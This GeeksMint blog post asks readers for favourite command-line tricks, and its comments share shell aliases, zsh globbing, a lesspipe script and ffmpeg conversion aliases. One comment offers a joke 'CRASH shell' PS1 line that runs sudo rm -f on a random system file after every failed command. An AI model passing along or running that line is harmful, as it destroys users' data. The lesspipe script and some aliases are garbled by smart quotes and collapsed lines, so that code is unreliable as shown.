What is Your Favourite Command Line Trick?

The command line was the first method to interact with the computer in a friendly manner long before Graphical User Interfaces came along. Till date, many tech-savvy computer users, especially Linux users, prefer working with the command line for many reasons, some of which were discussed in Why Do So Many Linux Users Prefer the Command Line to a GUI?

If you make use of the terminal more often than the typical computer user then odds are that you have one or more nifty ways of getting things done with it. It could be the way you concatenate commands together in scripts, the shortcuts you have thought your terminal app, or the hacks you have discovered online.

A fan favourite is sudo !!

Nifty when you ran a command that requires higher permission but did not include the sudo keyword. Sudo !! runs the last run command with sudo credentials; thereby, freeing you of the need to retype the command.

I stumbled upon entries by users online and some of them went as far as customizing their profile, creating automation scripts, aliases, and shortcuts for complex commands.
aa
For example, one user who uses ‘less -FsXR‘ a lot set it to a two-letter alias and to prevent Less from complaining when he tries to read a directory instead of a file, he went further to add the command in his shell rc-file as:

LESSOPEN='|dir=%s;test -d "$dir" && ls -lah --color "$dir"';export LESSOPEN

Definitely, a smart way to get work done!

I’m positive that you have either learnt or created ways to work faster with the command line. Or at least, you have learnt shorthand methods for completing tasks that you didn’t know when you just started using the CLI. Share your experience with us by penning them in the comments section below.

Divine Okoi is a cybersecurity postgrad with a passion for the open-source community. With 700+ articles covering different topics in IT, you can always trust him to inform you about the coolest tech.

Each tutorial at GeeksMint is created by a team of experienced writers so that it meets our high-quality writing standards.

11 thoughts on “What is Your Favourite Command Line Trick?”

  1. I use FISH for my shell instead of bash or zsh. Of course I can easily activate bash with the command of the same name. I have a config.fish file with so many aliases I sometimes have to open the file to see what the actual command I have aliased. Here’s a few examples I can think of off the top of my head since I’m not at home and posting this with my phone

    no=’nano’
    sno=’sudo nano’
    cdapts=’cd /etc/apt/sources.list.d/’
    d20=’rolldice 1d20′
    luxup=’lumeus +5%’
    luxdn=’lumeus -5%’
    upd=’sudo apt update’
    upg=’sudo apt upgrade’
    evfish=’pluma ~/.config/fish/config.fish’ (which I use to easily open my fish config file to add, remove or modify my aliases).

    Some aliases invoke multiple commands.
    gc=’cd /downloads/git/ ; git clone’

    I even have aliases which call back other aliases.
    up=’upd ; upg’

    I have copied some commands into my .bashrc just in case.

    If anybody actually reads this and want the full list of fish aliases, I’ll make available as a gist file on github.

    Reply
    • I have a config.fish file with so many aliases I sometimes have to open the file to see what the actual command I have aliased.

      After facing that problem for too long, my zsh setup now includes a $HOME/.zsh_functions/whmap function. It searches all available commands (including aliases, functions, etc.) for the string pattern I pass as an argument:

      
      $ whmap encode
      dirac_encoder is /usr/bin/dirac_encoder
      gtk-encode-symbolic-svg is /usr/bin/gtk-encode-symbolic-svg
      h264encode is /usr/bin/h264encode
      mencoder is /usr/bin/mencoder
      mimeencode is /usr/bin/mimeencode
      mimencode is /usr/bin/mimencode
      mmencode is /usr/bin/mmencode
      theora_encode is /usr/bin/theora_encode
      uuencode is /usr/bin/uuencode
      
      $ whmap whmap
      whmap () {
      	noglob builtin whence -mavf *$1*
      }
      

      (The nonsensical name is a relic of a much earlier version of the function, when it performed a path-only search via noglob builtin whence -map *$1*. I later extended it to also search function names and builtins.)

      So as long as I can remember at least part of an alias or function’s name, I can usually find it.

      Doesn’t help if I can’t remember the name, of course. But I don’t use a lot of those “shortcut”-type aliases — like, two-letter equivalents for a certain command, or whatever — specifically because of that problem. I figure, a mnemonic isn’t really helpful unless it’s so obvious and unforgettable that there’s no question what it would be. (Like the alias ll='ls -l' that’s part of coreutils’ /etc/profile.d/colorls.sh ­— though I don’t even use that one, myself, because typing ls -l is just not that time-consuming.)

      Reply
  2. here is a shell script to handle all sorts of different file types with LESS

    #!/bin/sh –
    #
    # To use this filter with less, define LESSOPEN:
    # export LESSOPEN=”|/usr/bin/lesspipe.sh %s”

    lesspipe() {
    case “$1” in
    *.[1-9n]|*.man|*.[1-9n].bz2|*.man.bz2|*.[1-9].gz|*.[1-9]x.gz|*.[1-9].man.gz)
    case “$1″ in
    *.gz) DECOMPRESSOR=”gunzip -c” ;;
    *.bz2) DECOMPRESSOR=”bunzip2 -c” ;;
    *) DECOMPRESSOR=”cat” ;;
    esac
    if $DECOMPRESSOR — “$1” | file – | grep -q troff; then
    if echo “$1” | grep -q ^/; then #absolute path
    man — “$1” | cat -s
    else
    man — “./$1” | cat -s
    fi
    else
    $DECOMPRESSOR — “$1”
    fi ;;
    *.tar) tar tvvf “$1” ;;
    *.tgz|*.tar.gz|*.tar.[zZ]) tar tzvvf “$1” ;;
    *.tar.bz2|*.tbz2) bzip2 -dc “$1” | tar tvvf – ;;
    *.[zZ]|*.gz) gzip -dc — “$1” ;;
    *.bz2) bzip2 -dc — “$1” ;;
    *.zip|*ZIP) zipinfo — “$1” ;;
    *.rpm) rpm -qpivl –changelog — “$1” ;;
    *.cpi|*.cpio) cpio -itv < "$1" ;; *.jar|*.ear|*.war) jar -tvvf "$1" ;; core*) file "$1" ;; *.dmp) strings "$1" ;; *.doc|*.DOC) wvWare -x /usr/local/share/wv/wvText.xml "$1" ;; *.mp3) file "$1" ;; *.gif|*.jpeg|*.jpg|*.pcd|*.png|*.tga|*.tiff|*.tif) if [ -x "`which identify`" ]; then identify "$1" else echo "No identify available" echo "Install ImageMagick to browse images" fi ;; *) case "$1" in *.gz) DECOMPRESSOR="gunzip -c" ;; *.bz2) DECOMPRESSOR="bunzip2 -c" ;; esac $DECOMPRESSOR -- "$1" ;; esac } if [ -d "$1" ] ; then /bin/ls -alF -- "$1" else lesspipe "$1" 2> /dev/null
    fi

    Reply
  3. Most of my favorite “tricks” really just involve using advanced features of zsh. For instance:

    (Some of these may require options like extendedglob to be set.)

    rpm -qf =firefox
    Check which Fedora RPM supplied the firefox command in my path

    less =firefox
    Read its contents (since it’s actually a wrapper script)

    grep pattern **/*(.)
    Search for “pattern” in every regular file underneath the current directory (at any depth), without spewing errors trying to grep directories, or sockets, or etc.

    for file in *.PNG; do mv $file "${file:r}.png"; done
    Rename every filename.PNG to filename.png.
    (Note1: ${variable:r} removes an extension from the filename in $variable. The same thing can also be done as ${file%.*} in bash (or zsh), but :r is smarter in that it ignores directory boundaries — if file = .ssh/id_rsa, ${file%.*} == "", but ${file:r} == ".ssh/id_rsa".)
    (Note2: Zsh will automatically protect $file as a single argument to mv, but to be paranoid it could also be witten as "$file")

    Aside from zsh tricks, I also frequently resort to this piped, tar-based directory tree duplication trick. To mirror the entire contents of /location/of/source as /destination/location/source, including any .dotfiles or .dotdirectories/ it contains:

    cd /location/of/
    tar cpSf - source/ | (cd /destination/location/ && tar xpSf -)

    If you have an sshfs-mounted remote directory, it can even be used to copy over the network. To see a running list of what’s being copied, change the second tar instance to tar xvpSf -.

    Reply
  4. Although not technically a CLI command, but a Linux (shell) command, the ‘alias’ command is one of my favorites.
    You can’t imagine my joy, when learning Linux/UNIX, at finding that, via ‘alias’, I could clear the screen with “cls”, just as I do in MS-DOS and CP/M. Saves all of two entire key-strokes. AND… is more in the spirit of UNIX: “…keep it simple”.

    Reply
  5. The CRASH shell brings the fun of old ascii dungeon crawler games to bash. Every time you make a wrong move, you take damage by the shell removing a random file from the filesystem. Requires sudo. Good luck.

    
    PS1='$([ $? != 0 ] && sudo bash -c "rm -f $(while ! shuf -z -n1 /var/lib/mlocate/mlocate.db | fgrep -a /; do :; done)")@' $PS1
    
    Reply
  6. Well if aliases count, here’s one I constantly use on a VPS to convert mkv files to mp4. Mp4 works a lot better by default on my Android TV, as well as on my phone in the browser. Mkv, not so much… So I put together an alias to convert all mkv files in the current directory, to very similar quality mp4 files:

    alias convertmkv="for v in *.mkv; do ffmpeg -i "$v" -c:v copy -c:a aac -strict -2 -bsf:a aac_adtstoasc -ac 2 -ar 48000 -ab 256k "${v%.*}.mp4"; done"

    A similar alias for converting avi to mp4:

    alias convertavi="for v in *.avi; do ffmpeg -i "$v" -c:a aac -strict -2 -b:a 128k -c:v libx264 -crf 23 "${v%.*}.mp4"; done"

    …and taking it even further using the “screen” application to allow the conversion process to happen in another ‘screen’ that I can toggle between, without having to open a new session.

    Reply

Got Something to Say? Join the Discussion...